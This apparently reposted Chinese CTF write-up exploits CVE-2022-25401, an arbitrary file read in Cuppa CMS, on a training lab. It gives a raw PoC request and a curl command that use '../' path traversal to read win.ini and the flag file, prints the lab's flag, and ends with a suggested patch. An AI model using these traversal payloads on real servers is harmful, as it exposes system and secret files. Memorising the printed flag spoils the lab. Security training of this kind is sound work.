春秋云境：CVE-2022-25401（任意文件读取漏洞）-Toy模板网

这篇具有很好参考价值的文章主要介绍了春秋云境：CVE-2022-25401（任意文件读取漏洞）。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

一、题目

春秋云境：CVE-2022-25401（任意文件读取漏洞）,i春秋,php,开发语言,web安全,网络安全,安全

介绍：

Cuppa CMS v1.0 administrator/templates/default/html/windows/right.php文件存在任意文件读取漏洞

进入题目是一个登录页面

春秋云境：CVE-2022-25401（任意文件读取漏洞）,i春秋,php,开发语言,web安全,网络安全,安全

sql和暴破都无解。

官方POC

国家信息安全漏洞库

春秋云境：CVE-2022-25401（任意文件读取漏洞）,i春秋,php,开发语言,web安全,网络安全,安全

cve漏洞介绍

春秋云境：CVE-2022-25401（任意文件读取漏洞）,i春秋,php,开发语言,web安全,网络安全,安全

官方给错了目录没有administrator/ 找不到

春秋云境：CVE-2022-25401（任意文件读取漏洞）,i春秋,php,开发语言,web安全,网络安全,安全

官方poc

春秋云境：CVE-2022-25401（任意文件读取漏洞）,i春秋,php,开发语言,web安全,网络安全,安全

代码块：

POST /cuppa_cms/administrator/templates/default/html/windows/right.php HTTP/1.1
Host: 192.168.174.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 272
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.174.133
Referer: http://192.168.174.133/cuppa_cms/administrator/
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

id=1&path=component%2Ftable_manager%2Fview%2Fcu_views&uniqueClass=window_right_246232&url=../../../../../../windows/win.ini

burp抓包改包：不过没成功：可能是目录问题。

春秋云境：CVE-2022-25401（任意文件读取漏洞）,i春秋,php,开发语言,web安全,网络安全,安全

二、curl访问flag文件

进入目录templates/default/html/windows/right.php

春秋云境：CVE-2022-25401（任意文件读取漏洞）,i春秋,php,开发语言,web安全,网络安全,安全

这里返回空白页是表示有这个文件的，如果不存在会返回404。

进入templates/default/html目录

春秋云境：CVE-2022-25401（任意文件读取漏洞）,i春秋,php,开发语言,web安全,网络安全,安全

windows目录下right.php

春秋云境：CVE-2022-25401（任意文件读取漏洞）,i春秋,php,开发语言,web安全,网络安全,安全

查看源码：

春秋云境：CVE-2022-25401（任意文件读取漏洞）,i春秋,php,开发语言,web安全,网络安全,安全

kali的curl请求访问根目录下的flag文件

curl是一种命令行工具,作用是发出网络请求,然后得到和提取数据,显示在"标准输出"(stdout)上面。它支持多种协议查看网页源码直接在curl命令后加上网址,就可以看到网页源码。

curl -X POST "http://xxx.ichunqiu.com/templates/default/html/windows/right.php" -d "url=../../../../../../../../../../../../flag"

春秋云境：CVE-2022-25401（任意文件读取漏洞）,i春秋,php,开发语言,web安全,网络安全,安全

得到flag

春秋云境：CVE-2022-25401（任意文件读取漏洞）,i春秋,php,开发语言,web安全,网络安全,安全

flag{fa417734-dac9-4947-831f-67b3ed302120}

附：

漏洞修复建议
在 ‘/templates/default/html/windows/right.php’ 文件处,第53行建议添加以下代码：

$url = $_POST["url"];
if(strstr($url, "../") || strstr($url, "..\\")){
    echo "Security attack!";
    exit;
}
include realpath(DIR . '/../../../..')."/".$url;

文章来源地址https://www.toymoban.com/news/detail-684895.html

到了这里，关于春秋云境：CVE-2022-25401（任意文件读取漏洞）的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！